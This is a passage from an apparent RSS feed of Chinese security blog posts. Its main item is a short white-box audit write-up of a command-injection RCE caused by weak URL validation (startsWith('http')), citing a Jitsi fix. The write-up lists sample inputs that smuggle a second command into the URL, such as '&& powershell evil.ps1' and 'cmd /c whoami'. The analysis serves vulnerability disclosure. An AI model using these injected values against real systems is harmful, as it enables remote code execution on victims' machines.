leaf="">+      return false;</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+    }</span></span><span leaf=""><br/></span><span style="background-color: #144212;display: inline-block;width: 100%;line-height: 26px;"><span leaf="">+  }</span></span></code></pre><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf="">对于用户来说，请更新到最新版本的 Chrome。</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p data-tool="mdnice 编辑器" style="padding-top: 8px;padding-bottom: 8px;margin: 0;line-height: 26px;color: black;font-size: 14px;"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><span leaf="">往期回顾</span><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p></div><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=0fbb08f4&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499641%26idx%3D1%26sn%3D7f30c697fbeccd68201903d9390d8277">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Fri, 03 Jul 2026 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>白盒审计出的一个RCE</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499637&amp;idx=1&amp;sn=35bbc3d75068d847fddc117055773678</link>
      <description>正文出问题的代码:if (url == null || !</description>
      <content:encoded><![CDATA[<p>原创 <span>h1</span> <span>2026-07-02 12:00</span> <span style="display: inline-block;">江苏</span></p>






  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=4e080196&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2F7xtecWUgCRwus9tOrjdRBjqW75jkcdd328XaNbmb0g7fHWia3ONgCf5Vtibv4SaicP9HRbTBHWpet3Lk1TH5MMOpWy4IsdiaiccryOfxJnhOqw2c%2F0%3Fwx_fmt%3Djpeg"/></p>
  <p>正文出问题的代码:if (url == null || !</p>
  <h2 data-cacheurl="" data-pm-slice="0 0 []" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=112810a9&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2F7xtecWUgCRwJBotWYTMUiaibUsClLut82sLyLJicM6zQ7Z7vLZtWWiavpialZ5hgwMwjnQJiarUCnkmPOBwxp39shica6bocBDESiaIVpjYD0FPmw0M%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">正文</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">出问题的代码:</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span style="box-sizing: border-box;color: rgb(198, 120, 221);cursor: pointer;line-height: 26px;"><span leaf="">if</span></span><span leaf=""> (url == null || !url.startsWith(</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#34;http&#34;</span></span><span leaf="">))</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">{</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">    logger.warn(</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#34;Not a valid URL to open:&#34;</span></span><span leaf=""> + url);</span><br style="box-sizing: border-box;cursor: pointer;"/><span style="box-sizing: border-box;color: rgb(230, 192, 123);cursor: pointer;line-height: 26px;"><span leaf="">return</span></span><span leaf="">;</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf="">}</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">URL 校验这里有问题:</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf="">!url.startsWith(</span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#34;http&#34;</span></span><span leaf="">)</span></code></pre><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf="">攻击者可以传入类似如下代码:</span></p><pre style="box-sizing: border-box;font-size: 16px;font-family: SFMono-Regular, Consolas, &#34;Liberation Mono&#34;, Menlo, Courier, monospace;margin: 10px 0px;overflow: auto;cursor: pointer;border-radius: 5px;box-shadow: rgba(0, 0, 0, 0.55) 0px 2px 10px;text-align: left;padding: 0px;color: rgb(0, 0, 0);font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><code style="box-sizing: border-box;font-family: Consolas, Monaco, Menlo, monospace;font-size: 12px;display: -webkit-box;overflow-x: auto;padding: 15px 16px 16px;color: rgb(171, 178, 191);background: rgb(40, 44, 52);cursor: pointer;border-radius: 5px;"><span leaf=""><a href="http://evil.com" target="_blank">http://evil.com</a> &amp; calc.exe</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf=""><a href="http://example.com" target="_blank">http://example.com</a> &amp;&amp; powershell evil.ps1</span><br style="box-sizing: border-box;cursor: pointer;"/><span leaf=""><a href="http://x" target="_blank">http://x</a></span><span style="box-sizing: border-box;color: rgb(152, 195, 121);cursor: pointer;line-height: 26px;"><span leaf="">&#34; &amp;&amp; cmd /c whoami</span></span></code></pre><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf="">如果你是一个长期主义者，欢迎加入我的知识星球，本星球日日更新,包含号主大量一线实战,全网独一无二，微信识别二维码付费即可加入，如不满意，72 小时内可在 App 内无条件自助退款</span></p><p style="text-align: center;" data-pm-slice="2 2 []"><span leaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100012574" data-ratio="0.5493333333333333" data-s="300,640" data-w="750" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=033161f8&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FYmmVSe19Qj5EMr3X76qdKBrhIIkBlVVyuiaiasseFZ9LqtibyKFk7gXvgTU2C2yEwKLaaqfX0DL3eoH6gTcNLJvDQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></span></p><p><span style="box-sizing: border-box;text-align: center;display: inline-block;height: 38px;line-height: 42px;color: rgb(72, 179, 120);background-position: left center;background-repeat: no-repeat;background-attachment: initial;background-origin: initial;background-clip: initial;background-size: 63px;margin-top: 38px;font-size: 18px;margin-bottom: 10px;"><span leaf="">往期回顾</span></span></p><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497813&amp;idx=1&amp;sn=c778ad6a4bffd7a0a72a900144ea90ca&amp;scene=21#wechat_redirect" textvalue="如何利用ai辅助挖漏洞" data-itemshowtype="0" linktype="text" data-linktype="2">如何利用ai辅助挖漏洞</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497880&amp;idx=1&amp;sn=b9b980464333074216b55ea94c8a743a&amp;scene=21#wechat_redirect" textvalue="如何在移动端抓包-下" data-itemshowtype="0" linktype="text" data-linktype="2">如何在移动端抓包-下</a></span></h1><h1 data-pm-slice="0 0 []"><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;h1&#34;,&#34;attributes&#34;:{&#34;id&#34;:&#34;activity-name&#34;,&#34;data-pm-slice&#34;:&#34;0 0 []&#34;},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]"><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247497491&amp;idx=1&amp;sn=a1b00b9a8a54eb96aa3ba8bf23cb7e28&amp;scene=21#wechat_redirect" textvalue="如何绕过签名校验" data-itemshowtype="0" linktype="text" data-linktype="2">如何绕过签名校验</a></span></h1><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495880&amp;idx=1&amp;sn=65d42fbff5e198509e55072674ac5283&amp;chksm=e8a5faabdfd273bd55df8f7db3d644d3102d7382020234741e37ca29e963eace13dd17fcabdd&amp;scene=21#wechat_redirect" textvalue="一款bp神器" data-itemshowtype="0" linktype="text" data-linktype="2">一款bp神器</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496898&amp;idx=1&amp;sn=b6088e20a8b4fc9fbd887b900d8c5247&amp;scene=21#wechat_redirect" textvalue="挖掘有回显ssrf的隐藏payload" data-itemshowtype="0" linktype="text" data-linktype="2">挖掘有回显ssrf的隐藏payload</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247495841&amp;idx=1&amp;sn=bbf477afa30391b8072d23469645d026&amp;chksm=e8a5fac2dfd273d42344f18c7c6f0f7a158cca94041c4c4db330c3adf2d1f77f062dcaf6c5e0&amp;scene=21#wechat_redirect" textvalue="ssrf绕过新思路" data-itemshowtype="0" linktype="text" data-linktype="2">ssrf绕过新思路</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247496380&amp;idx=1&amp;sn=78c0c4c67821f5ecbe4f3947b567eeec&amp;chksm=e8a5f8dfdfd271c935aeb4444ea7e928c55cb4c823c51f1067f267699d71a1aad086cf203b99&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">一个辅助测试ssrf的工具</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247488819&amp;idx=1&amp;sn=5141f88f3e70b9c97e63a4b68689bf6e&amp;chksm=e8a61f50dfd1964692f93412f122087ac160b743b4532ee0c1e42a83039de62825ebbd066a1e&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">dom-xss精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487187&amp;idx=1&amp;sn=622438ee6492e4c639ebd8500384ab2f&amp;chksm=e8a604b0dfd18da6c459b4705abd520cc2259a607dd9306915d845c1965224cc117207fc6236&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">年度精选文章</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247487122&amp;idx=1&amp;sn=32459310408d126aa43240673b8b0846&amp;chksm=e8a604f1dfd18de737769dd512ad4063a3da328117b8a98c4ca9bc5b48af4dcfa397c667f4e3&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">Nuclei权威指南-如何躺赚</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486973&amp;idx=1&amp;sn=6ec419db11ff93d30aa2fbc04d8dbab6&amp;chksm=e8a6079edfd18e88f6236e237837ee0d1101489d52f2abb28532162e2937ec4612f1be52a88f&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试设置功能IV</a></span></p><p><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">漏洞赏金猎人系列-如何测试注册功能以及相关Tips</a></span><span style="display: none;line-height: 0px;"><span leaf=""><a class="normal_text_link mp_article_text_link" target="_blank" style="" href="http://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247486764&amp;idx=1&amp;sn=9f78d4c937675d76fb94de20effdeb78&amp;chksm=e8a6074fdfd18e59126990bc3fcae300cdac492b374ad3962926092aa0074c3ee0945a31aa8a&amp;scene=21#wechat_redirect" textvalue="" data-itemshowtype="0" linktype="text" data-linktype="2">‍</a></span></span></p><h2 data-cacheurl="" data-remoteid="" style="box-sizing: border-box;margin: 30px 0px 15px;color: rgba(0, 0, 0, 0.85);font-weight: 500;cursor: pointer;padding: 0px;background: none center center / 63px no-repeat scroll padding-box border-box rgb(255, 255, 255);width: auto;height: auto;align-items: unset;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;box-shadow: none;display: flex;flex-direction: unset;float: unset;justify-content: center;line-height: 1.5em;overflow: unset; text-align: left;text-shadow: none;transform: none;-webkit-box-reflect: unset;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;letter-spacing: normal;orphans: 2;text-indent: 0px;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;background-image: url(&#34;https://wechat2rss.xlab.app/img-proxy/?k=ff6d3cdf&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_png%2F7xtecWUgCRygUN8EyRuskic8hFvIw1edpfibLd6GX7EQbEtlYaPS1BoL8zIUbIHtibaicOn1icc0zD5TYgQvcH6Az5DutF3IFGVkT4EkoAhMjkwA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg&#34;);"><span style=" box-sizing: border-box;cursor: pointer;font-size: 18px;color: rgb(72, 179, 120);line-height: 2.4em;letter-spacing: 0em;margin: 38px 0px 10px;border-style: none;border-width: 1px;border-color: rgb(0, 0, 0);border-radius: 0px;align-items: unset;background: none 0% 0% / auto no-repeat scroll padding-box border-box transparent;box-shadow: none;content: unset;display: inline-block;font-weight: bold;flex-direction: unset;float: unset;height: 38px;justify-content: unset;overflow: unset;padding: 0px; text-align: center;text-indent: 0em;text-shadow: none;transform: none;width: auto;-webkit-box-reflect: unset; "><span leaf="">参考</span></span></h2><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://github.com/jitsi/jitsi/commit/8aa7be58522f4264078d54752aae5483bfd854b2" target="_blank">https://github.com/jitsi/jitsi/commit/8aa7be58522f4264078d54752aae5483bfd854b2</a></span></p><p style="box-sizing: border-box;margin: 0px;cursor: pointer;color: rgb(63, 63, 63);font-size: 16px;line-height: 1.8em;letter-spacing: 0.02em;text-align: left;text-indent: 0px;padding: 16px 0px 8px;font-family: Optima, &#34;Microsoft YaHei&#34;, PingFangSC-regular, serif;font-style: normal;font-variant-ligatures: normal;font-variant-caps: normal;font-weight: 400;orphans: 2;text-transform: none;widows: 2;word-spacing: 0px;-webkit-text-stroke-width: 0px;white-space: normal;background-color: rgb(255, 255, 255);text-decoration-thickness: initial;text-decoration-style: initial;text-decoration-color: initial;"><span leaf=""><a href="https://hackerone.com/reports/1692603" target="_blank">https://hackerone.com/reports/1692603</a></span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>



<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=21b66baa&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzIzMTIzNTM0MA%3D%3D%26mid%3D2247499637%26idx%3D1%26sn%3D35bbc3d75068d847fddc117055773678">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Thu, 02 Jul 2026 12:00:00 +0800</pubDate>
    </item>
    <item>
      <title>第一个高危漏洞</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&amp;mid=2247499629&amp;idx=1&amp;sn=ce31d190bddea6d193475e463b76fb08</link>
      <description>免责声明由于传播、利用本公众号所提供的信息而造成的任何直接或者间接的后果及损失，均由使用者本人负责，公众号陌</description>
      <content:encoded><![CDATA[<p><span>陌笙</span> <span>2026-07-01 11:45</span> <span style="display: inline-block;">江苏</span></p>




  <p>以下文章来源于：陌笙不太懂安全</p>
  <strong>陌笙不太懂安全</strong>
  <p>web安全知识分享,渗透测试,SRC,CTF,等优质内容分享学习！</p>



  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=80544039&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fsz_mmbiz_jpg%2F7xtecWUgCRy1p7ZsIVEATl3vu7lKcmvmyzWZG2Xkr8MGx0waWEQMGnHYXjlKgaPCnz6Upx3p70ugxy2hqUUKRibicChNpBYuNn5beeVcnicSPk%2F0%3Fwx_fmt%3Djpeg"/></p>
  
